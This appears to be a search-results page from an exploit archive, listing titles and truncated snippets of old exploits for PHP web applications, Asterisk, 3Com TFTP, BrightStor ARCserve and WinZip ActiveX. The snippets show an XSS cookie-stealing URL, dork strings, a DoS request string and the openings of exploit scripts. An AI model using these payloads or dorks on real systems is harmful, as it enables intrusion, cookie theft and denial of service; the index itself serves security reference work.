627 matches found
ccmail-insecure.txt
--==+================================================================================+==-- --==+ CcMail = 1.0.1 Insecure Cookie Handling +==-- --==+================================================================================+==-- Discovered By: t0pP8uZz Discovered On: 11 April 2008 Script...
phpTournois <= G4 Remote File Upload/Code Execution Exploit
No description provided by source. ?php / Name: phpTournois = G4 Remote File Upload/Code Execution Exploit Credits: Charles "real" F. charlesfolathotmail.fr Date: 04-06-08 - Remote Code Execution - Remote File Upload When testing if we are admin, phpTournois checks if $grade'a'=='a'. But when we...
Domain Trader v2.0 Xss Vulnerable
title : Domain Trader v2.0 Xss Vulnerable Author : CrackersChild cybermilitan at hotmail dot com Exploit : www.site.com/script/catalog.php?mode=viewcategory&id=scriptalertdocument.cookie/script Dork : Powered by Domain Trader v2.0 - Domain parking software Greetz : www.biyofrm.com &...
PHPKIT 1.6.4pl1 - article.php SQL Injection
PHPKIT 1.6.4pl1 - article.php SQL Injection !/usr/bin/perl Vulnerability found & exploit written by $h4d0wl33t shadowleet Contact: [email protected] Phpkit 1.6.4pl1 Non Public Exploit by $hadowleet, Description: Vulnerability in file pkinc/public/article.php On line 71:...
uph0702.py.txt
!C:\python25\python25.exe """ Advisory : UPH-07-02 mt-dappd/Firefly media server remote DoS Discovered by nnp http://www.unprotectedhex.com """ import sys import socket import time if lensys.argv != 3: sys.exit-1 killmsg = """GET /xml-rpc?method=stats HTTP/1.1\r\n Authorization:\r\n\r\n""" host =...
KwsPHP 1.0 Module Newsletter - SQL Injection
Script....................................: KwsPHP ver 1.0 Newsletter Module Script Site...........................: http://www.kwsphp.org Vulnerability........................: Remote SQL injection Exploit Access..................................: Remote...
Mail Machine <= 3.989 Local File Inclusion Exploit
No description provided by source. !/usr/bin/perl -w Mail Machine Local File Include Exploit Vuln. v3.980, v3.985, v3.987, v3.988 and v3.989 ! Application homepage : http://www.mikesworld.net/mailmachine.shtml ! Author : H4 / Team XPK ! Contact : [email protected]...
AlstraSoft Template Seller Pro <= 3.25 Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo " AlstraSoft Template Seller Pro = 3.25 Remote Code Execution Exploit by BlackHawk [email protected] http://itablackhawk.altervista.org Thanks to rgod for the php code and Marty for the Love "; if $argc4 echo "Usage:...
Zomplog 3.8 - 'mp3playlist.php' SQL Injection
!/usr/bin/python ---------------------------------------------------------------------------------- The sql injection : /zomplog-3.8/plugins/mp3playlist/mp3playlist.php?speler=sql I've code a sploit for the fun x ----------------------------------------------------------------------------------...
mxBB Module MX Shotcast 1.0 RC2 (getinfo1.php) RFI Exploit
Exploit for unknown platform in category web applications ========================================================== mxBB Module MX Shotcast 1.0 RC2 getinfo1.php RFI Exploit ========================================================== !/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remo...
Picture-Engine <= 1.2.0 (wall.php cat) Remote SQL Injection Exploit
No description provided by source. ? / Autor: Kacper Contact: [email protected] Homepage: http://www.rahim.webd.pl/ Irc: irc.milw0rm.com:6667 devilteam Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM. Picture-Engine = V1.2.0 Remote SQL Injection Exploit script homepage/download/demo:...
Asterisk <= 1.2.16 / 1.4.1 SIP INVITE Remote Denial of Service Exploit
No description provided by source. !/usr/bin/perl perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY use IO::Socket::INET; die "Usage $0 dst dport dusername src sport susername" unless $ARGV5; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0;...
ScriptMagix Photo Rating <= 2.0 Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Script Name: ScriptMagix Photo Rating = 2.0 viewcomments.php Remote Blind SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.scriptmagix.com $$ : 75$ .. : ajann,Turkey use IO::Socket; if@ARGV 1 print "...
Links Management Application 1.0 - 'lcnt' SQL Injection
!/usr/bin/perl Script Name: Links Management Application V1.0 lcnt Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.monitor-line.com $$ : $34.99 .. : ajann,Turkey use IO::Socket; if@ARGV : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit...
3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Exploit (perl)
Exploit for unknown platform in category remote exploits ================================================================== 3Com TFTP Service = 2.0.1 Long Transporting Mode Exploit perl ================================================================== !/usr/bin/perl -w...
Categories hierarchy phpBB Mod 2.1.2 - 'phpbb_root_path' Remote File Inclusion
C xoron Name: Categories hierarchy v2.1.2 phpbbrootpath Remote File Include Exploit Script name: Ptifo mod-CH212installed Author: xoron Exploit coded by xoron Download: http://sourceforge.net/project/showfiles.php?groupid=125710 xoron.biz - xoron.info Thanx: str0ke, kacper, k1tk4t, SHiKA, can bjo...
CA BrightStor ARCserve (msgeng.exe) Remote Heap Overflow Exploit 2
No description provided by source. !/usr/bin/perl original exploit by lssec.com this is a perl porting acaro at jervus.it use IO::Socket::INET; use Switch; if @ARGV 3 print "--------------------------------------------------------------------\n"; print "Usage : BrightStoreARCServer-11-5-4targets....
Coppermine Photo Gallery <= 1.4.10 Remote SQL Injection Exploit
Exploit for unknown platform in category web applications =============================================================== Coppermine Photo Gallery "; print "\nProxyOptions..: "; print "\nExample.......: php xpl.php http://c.com/ admin passwd"; print...
WinZip FileView ActiveX controls CreateNewFolderFromName Method Buffer Overflow Vulnerability
WinZip FileView ActiveX controls CreateNewFolderFromName Method Buffer Overflow Vulnerability ------------------------------------------------------------------ SUMMARY: A vulnerability has been identified in Winzip 10.0 Build 6667,May be other version, which could be exploited by remote or local...
eXtreme-fusion 4.02 - 'Fusion_Forum_View.php' Local File Inclusion
source: https://www.securityfocus.com/bid/21621/info eXtreme-fusion is prone to a local file-include vulnerability because the application fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute local scripts. By combining thi...